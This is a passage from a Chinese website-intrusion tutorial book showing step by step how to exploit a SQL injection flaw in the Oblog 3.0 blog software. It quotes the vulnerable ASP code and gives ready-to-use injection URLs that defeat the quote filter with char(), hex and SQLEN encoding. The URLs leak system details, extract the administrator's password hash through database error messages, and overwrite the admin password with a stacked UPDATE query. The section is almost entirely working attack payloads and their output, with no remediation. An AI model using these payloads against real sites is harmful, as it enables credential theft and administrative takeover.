网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.3 char字符转换与单引号突破

在程序经过单引号过滤时,要继续进行SQL脚本注入攻击其实是很简单的,方法很多,比如本节要介绍的将单引号字符转换成为ASCII码以突破过滤。

这里以Oblog博客程序为例,介绍通过char函数转换单引号字符串,突破过滤进行注入攻击的方法。

3.3.1 \0与单引号的过滤

Oblog是一套应用非常广泛的博客程序,在其中也曾因为注入过滤不严的问题,导致SQL脚本注入攻击。存在漏洞的版本是“Oblog 3.0”,其漏洞文件是“user_blogmanage.asp”,用记事本打开该文件,在其中可以看到如下代码:

            id=oblog.filt_badstr(trim(Request("id")))
            …………代码省略………………
            sub moveblog()
            if id="" then
                oblog.adderrstr("请指定要移动的日志")
                oblog.showusererr
                exit sub
            end if
            dim subjectid
            subjectid=trim(request("subject"))
            if subjectid="" then
                oblog.adderrstr("请指定要移动的目标专题")
                oblog.showusererr
                exit sub
            else
                subjectid=Clng(subjectid)
            end if
            if instr(id, ", ")>0 then
                id=replace(id, " ", "")
                sql="Update [oblog_log] set subjectid="&subjectid&" where
            logid in (" & id & ")"&wsql
            else
                sql="Update [oblog_log] set subjectid="&subjectid&" where
            logid=" & id &wsql
            end if
            oblog.Execute sql
            …………代码省略………………
            end sub

可以看到,在上面的代码段中,参数ID用来指定日志,在其中,对ID进行了简单的过滤,过滤代码为(图46):

            if instr(id, ", ")>0 then
                id=replace(id, " ", "")
                sql="Update [oblog_log] set subjectid="&subjectid&" where
             logid in (" & id & ")"&wsql
            else
                sql="Update [oblog_log] set subjectid="&subjectid&" where
             logid=" & id &wsql

图46 空格过滤

上面这段代码是用来实现blog日志移动操作的,很显然,在这里只对Blog日志的ID参数进行了简单的空格过滤,然而就代入了SQL语句进行查询。但是在代码最上部分,可以看到还有一条过滤语句:

            id=oblog.filt_badstr(trim(Request("id")))

这才是最重要的过滤部分,使用了oblog.filt_badstr函数对ID进行过滤。该函数是定义于“inc”目录下的“class_sys.asp”文件中,打开该文件,可以看到函数代码如下:

            public function filt_badstr(str)
                If Isnull(Str) Then
                    filt_badstr = ""
                    Exit Function
                End If
                Str = Replace(Str, Chr(0), "")
                filt_badstr = Replace(Str, "' ", "' ' ")
            end function

图47 过滤函数代码

在这个过滤函数中,只对“\0”和单引号进行了过滤,根据前面介绍的单引号过滤绕过方法,可以肯定这个过滤是不完全的,因此完全存在SQL脚本注入漏洞。

3.3.2 char再次绕过单引号

在本地搭建一个OBlog3.0网站进行注入检测,目标网址为“http://www.binghexijian.com.cn/”。

首先,需要注册一个用户名并登录博客,这里注册的用户名为“xiaoyao”,随便发布一篇新日志,并添加一个分类。然后进入博客管理页面,单击“日志归档”→“归档管理”,对刚才发布的新日志进行管理(图48)。

先暂时不要单击【执行】按钮,现在可以在当前窗口地址栏中输入如下地址进行提交:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=1

图48 日志管理页面

在这里使用了and 1=1进行漏洞检测,由于程序已经过滤了空格,因此在检测语句中加入了/**/代替空格。页面返回正常信息“更新专题成功”(图49)。

图49 and 1=1

继续提交检测语句:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=2)--

返回了错误信息,因此确定此处存在SQL注入漏洞。

由于是SQL数据库,因此可以利用SQL数据库的几个系统变量进行检测。执行如下语句:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=@@version)--,

这就报出了系统信息。可知当前系统是XP SP2(图50)。

图50 报出系统信息

同样,可以报出当前数据库名、连接用户名及权限,不过这里直接查询管理员的密码。执行如下查询:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/
            **/Oblog_admin/**/where/**/id=1)--

返回了错误信息:

            Microsoft OLE DB Provider for SQL Server 错误 ’80040e07'

将nvarchar值 ’469e80d32c0559f8’ 转换为数据类型为int的列时发生语法错误。

            /inc/class_sys.asp,行 133

很显然,这里通过将不同类型的数据比较,出错报出了数据内容,错误信息中的“469e80d32c0559f8”,就是管理员表“Oblog_admin”中ID为1的用户的密码加密密文(图51)。该用户也既是管理员用户。

如果知道管理员用户名,也可以直接指定用户名进行查询,假设用户名为“admin”,可提交如下链接:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/
            **/Oblog_admin/**/where/**/username=' admin' )--

图51 报出管理员密码

但是,由于单引号被过滤,在查询语句中包含有“' admin' ”,因此返回信息会提示语法不正确(图52):

            Microsoft OLE DB Provider for SQL Server 错误 ’80040e14'

第1行: ' admin’ 附近有语法错误。

            /inc/class_sys.asp,行 133

图52 出错信息

因此,需要将单引号中的内容进行编码转换,这里将admin转换为ASCII码,再用相应的字符转换函数将ASCII码进行还原,即可绕过单引号的过滤了。

例如,这里admin的ASCII码为:

            97 100 109 105 110

可用进行提到的转换工具进行转换(图53)。因此,可以利用“char(97)%2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110)”代替“admin”。因此,构造如下语句进行注入:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/
            **/Oblog_admin/**/where/**/username=char(97)%2Bchar(100)%
            2Bchar(109)%2Bchar(105)%2Bchar(110))--

图53 转换admin编码

当然,也可以转换为16进制,转换后为“0x61646D696E”,因此可构造提交注入语句如下:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1 and 1=(select password from Oblog_admin
            where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0
            x69)%2Bchar(0x6e))--

另外,还可以将admin转换为SQLEN代码,同样可以利用上面提到的工具进行转换,转换后代码为:

            0x610064006D0069006E00

因此可提交构造链接为:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=
            Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/
            **/Oblog_admin/**/where/**/username=0x610064006D0069006E00)--

上面的3种转换方法效果都是一样的,返回页面信息提示都为:

            Microsoft OLE DB Provider for SQL Server 错误 ’80040e07'
            将 nvarchar 值 ’469e80d32c0559f8’ 转换为数据类型为 int 的列时发生语法错误。
            /inc/class_sys.asp,行 133

也就说明成功地报出了用户名为“admin”的密码MD5加密密文(图54)。

图54 使用代码转换绕过过滤

如果要修改管理员密码的话,也同样可以用前面提到的Update查询进行更新。例如,这里要将管理员密码修改为“123456”,同样先要对密码进行编码转换。

“123456”的16位MD5加密密文为“49BA59ABBE56E057”,转换为SQLEN代码为:

            0x3400390042004100350039004100420042004500350036004500300035
            003700

因此,可构造提交如下链接进行更新:

            http://www.binghexijian.com.cn/user_blogmanage.asp? action=Move
            &subject=1&id=1; update [Oblog_admin] set password=0x3400390042
            004100350039004100420042004500350036004500300035003700; --

更新成功后没有任何提示,但是管理员admin的密码已经被修改为“123456”了。同样,也可以转换为ASCII码的10进制或16进制进行Update查询更新。